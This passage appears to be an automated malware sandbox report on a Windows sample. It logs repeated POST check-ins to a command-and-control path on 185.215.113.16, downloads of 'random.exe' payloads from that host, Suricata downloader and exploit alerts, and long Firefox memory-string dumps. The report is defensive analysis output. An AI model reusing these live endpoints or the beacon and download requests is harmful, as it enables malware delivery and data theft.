r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CDF1A24FC3F9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 44 46 31 41 32 34 46 43 33 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CDF1A24FC3F9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 44 46 31 41 32 34 46 43 33 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CDF1A24FC3F9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 44 46 31 41 32 34 46 43 33 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CDF1A24FC3F9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 44 46 31 41 32 34 46 43 33 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CDF1A24FC3F9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 44 46 31 41 32 34 46 43 33 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CDF1A24FC3F9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 44 46 31 41 32 34 46 43 33 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CDF1A24FC3F9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 44 46 31 41 32 34 46 43 33 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CDF1A24FC3F9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Source: global traffic	HTTP traffic detected: POST /Jo89Ku7d/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.16Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s

Source: Joe Sandbox View	IP Address: 34.117.188.166 34.117.188.166
Source: Joe Sandbox View	IP Address: 185.215.113.206 185.215.113.206
Source: Joe Sandbox View	IP Address: 185.215.113.16 185.215.113.16

Source: Joe Sandbox View	ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL
Source: Joe Sandbox View	ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL

Source: Joe Sandbox View

JA3 fingerprint: fb0aa01abe9d8e4037eb3473ca6e2dca

Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:49937 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:49958 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2022930 - Severity 1 - ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow : 20.109.210.53:443 -> 192.168.2.5:49704
Source: Network traffic	Suricata IDS: 2022930 - Severity 1 - ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow : 20.109.210.53:443 -> 192.168.2.5:49908

Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16

Source: C:\Users\user\AppData\Local\Temp\1002742001\b29e59e54d.exe

Code function: 8_2_0095CE44 InternetReadFile,SetEvent,GetLastError,SetEvent,

8_2_0095CE44

Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /well/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive

Source: firefox.exe, 00000015.00000002.2889978017.0000025935888000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2889978017.000002593582E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2889978017.0000025935803000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: "url": "https://www.facebook.com/", equals www.facebook.com (Facebook)
Source: firefox.exe, 00000015.00000002.2889978017.0000025935888000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2889978017.000002593582E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2889978017.0000025935803000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: "url": "https://www.youtube.com/", equals www.youtube.com (Youtube)
Source: firefox.exe, 00000015.00000002.2889978017.0000025935888000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2889978017.0000025935803000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.3074810196.000001EF2D5B2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: "default.sites": "https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/", equals www.facebook.com (Facebook)
Source: firefox.exe, 00000015.00000002.2889978017.0000025935888000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2889978017.0000025935803000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.3074810196.000001EF2D5B2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: "default.sites": "https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/", equals www.twitter.com (Twitter)
Source: firefox.exe, 00000015.00000002.2889978017.0000025935888000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2889978017.0000025935803000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.3074810196.000001EF2D5B2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: "default.sites": "https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/", equals www.youtube.com (Youtube)
Source: firefox.exe, 00000015.00000002.2884763162.00000259344DF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: WHERE place_id = (SELECT id FROM moz_places WHERE url_hash = hash(:urlRestartOnLastWindowClosed.#maybeRestartBrowser - Still waiting for all windows to be closed and restartTimer to expire. (not restarting)https://vk.com/,https://www.youtube.com/,https://ok.ru/,https://www.avito.ru/,https://www.aliexpress.com/,https://www.wikipedia.org/UpdateService:_selectAndInstallUpdate - update not supported for this system. Notifying observers. topic: update-available, status: unsupportedUPDATE moz_bookmarks SET position = position + 1 equals www.youtube.com (Youtube)
Source: firefox.exe, 00000015.00000002.2884763162.00000259344DF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: BETWEEN :prefix \|\| :strippedURL AND :prefix \|\| :strippedURL \|\| X'FFFF'Downloader:onStopRequest - notifying observers of error. topic: update-error, status: download-attempts-exceeded, downloadAttempts: You must provide a target ID as the second parameter of AlsoToOneContent. If you want to send to all content processes, use BroadcastToContenthttps://www.youtube.com/,https://www.facebook.com/,https://allegro.pl/,https://www.wikipedia.org/,https://www.olx.pl/,https://www.wykop.pl/https://www.baidu.com/,https://www.zhihu.com/,https://www.ifeng.com/,https://weibo.com/,https://www.ctrip.com/,https://www.iqiyi.com/UpdateService.canUsuallyCheckForUpdates - unable to automatically check for updates, the option has been disabled by the administrator.getCanStageUpdates - unable to apply updates because another instance of the application is already handling updates for this installation. equals www.facebook.com (Facebook)
Source: firefox.exe, 00000015.00000002.2884763162.00000259344DF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: BETWEEN :prefix \|\| :strippedURL AND :prefix \|\| :strippedURL \|\| X'FFFF'Downloader:onStopRequest - notifying observers of error. topic: update-error, status: download-attempts-exceeded, downloadAttempts: You must provide a target ID as the second parameter of AlsoToOneContent. If you want to send to all content processes, use BroadcastToContenthttps://www.youtube.com/,https://www.facebook.com/,https://allegro.pl/,https://www.wikipedia.org/,https://www.olx.pl/,https://www.wykop.pl/https://www.baidu.com/,https://www.zhihu.com/,https://www.ifeng.com/,https://weibo.com/,https://www.ctrip.com/,https://www.iqiyi.com/UpdateService.canUsuallyCheckForUpdates - unable to automatically check for updates, the option has been disabled by the administrator.getCanStageUpdates - unable to apply updates because another instance of the application is already handling updates for this installation. equals www.youtube.com (Youtube)
Source: firefox.exe, 00000027.00000002.3055217724.000001EF29EDA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: "://www.facebook.com/platform/impression.php" equals www.facebook.com (Facebook)
Source: firefox.exe, 00000015.00000002.2884763162.0000025934403000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: ://ssl.google-analytics.com/ga.jsFileUtils_closeSafeFileOutputStream://www.google-analytics.com/analytics.jsFileUtils_closeAtomicFileOutputStream://www.everestjs.net/static/st.v3.js*://connect.facebook.net//all.js*://static.criteo.net/js/ld/publishertag.jshttps://smartblock.firefox.etp/facebook.svg://www.google-analytics.com/plugins/ua/ec.js://track.adform.net/serving/scripts/trackpoint/https://smartblock.firefox.etp/play.svgresource://gre/modules/addons/XPIProvider.jsm://cdn.branch.io/branch-latest.min.js*://c.amazon-adsystem.com/aax2/apstag.js://static.chartbeat.com/js/chartbeat_video.js://.imgur.io/js/vendor..bundle.jspictureinpicture%40mozilla.org:1.0.0@mozilla.org/addons/addon-manager-startup;1://www.rva311.com/static/js/main..chunk.js://libs.coremetrics.com/eluminate.jswebcompat-reporter%40mozilla.org:1.5.1://auth.9c9media.ca/auth/main.js://static.chartbeat.com/js/chartbeat.js://connect.facebook.net//sdk.js://www.google-analytics.com/gtm/js://www.googletagmanager.com/gtm.js*://s0.2mdn.net/instream/html5/ima3.jsresource://gre/modules/FileUtils.sys.mjs://pub.doubleverify.com/signals/pub.js*://web-assets.toggl.com/app/assets/scripts/.js://.imgur.com/js/vendor.*.bundle.jswebcompat-reporter@mozilla.org.xpinsIURLDecorationAnnotationsService equals www.facebook.com (Facebook)
Source: firefox.exe, 00000015.00000002.2884763162.0000025934403000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2917321112.000002593A49F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: ://www.facebook.com/platform/impression.php equals www.facebook.com (Facebook)
Source: firefox.exe, 00000015.00000002.2884763162.0000025934403000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: ://www.facebook.com/platform/impression.php://.adsafeprotected.com/jload?*://.adsafeprotected.com/services/pubcolor-mix(in srgb, currentColor 9%, transparent)://.adsafeprotected.com//unit/*resource://gre/modules/UpdateLog.sys.mjs equals www.facebook.com (Facebook)
Source: firefox.exe, 00000015.00000002.2940088335.00000259403B5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: 8https://www.facebook.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 00000015.00000002.2944148777.0000025940561000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2938420212.0000025940103000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2924708904.000002593ACA8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: 8https://www.facebook.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 00000015.00000002.2910935393.00000259395ED000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2924708904.000002593ACA8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2923113526.000002593AB2C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: 8https://www.youtube.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 00000015.00000002.2915888122.000002593A2F7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2918105959.000002593A54F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000015.00000002.2918105959.000002593A58B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: 8www.facebook.com equals www.facebook.com (Facebook)
Source: firefox.exe, 00000015.00000002.2884763162.0000025934473000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: Firefox is thinking about how to make this page better for you. Which best describes what you'd like to see in the Recommended by Pocket section:https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 00000015.00000002.2884763162.0000025934473000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: Firefox is thinking about how to make this page better for you. Which best describes what you'd like to see in the Recommended by Pocket section:https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 00000015.00000002.2884763162.0000025934473000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: Firefox is thinking about how to make this page better for you. Which best describes what you'd like to see in the Recommended by Pocket section:https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.amazon.fr/,https://www.leboncoin.fr/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 00000015.00000002.2884763162.0000025934473000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: UpdateService:_selectAndInstallUpdate - prompting because silent install is disabled. Notifying observers. topic: update-available, status: show-prompthttps://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://www.amazon.ca/,https://twitter.com/https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.de/,https://www.ebay.de/,https://www.wikipedia.org/,https://www.reddit.com/https://www.youtube.com/,https://www.facebook.com/,https://www.reddit.com/,https://www.amazon.co.uk/,https://www.bbc.co.uk/,https://www.ebay.co.uk/https://www.youtube.com/,https://www.facebook.com/,https://www.wikipedia.org/,https://www.reddit.com/,https://www.amazon.com/,https://twitter.com/(currentDate\|date - profileAgeCreated) / 86400000 >= 28 && 'browser.newtabpage.activity-stream.feeds.section.topstories' \| preferenceValue == true equals www.facebook.com (Facebook)
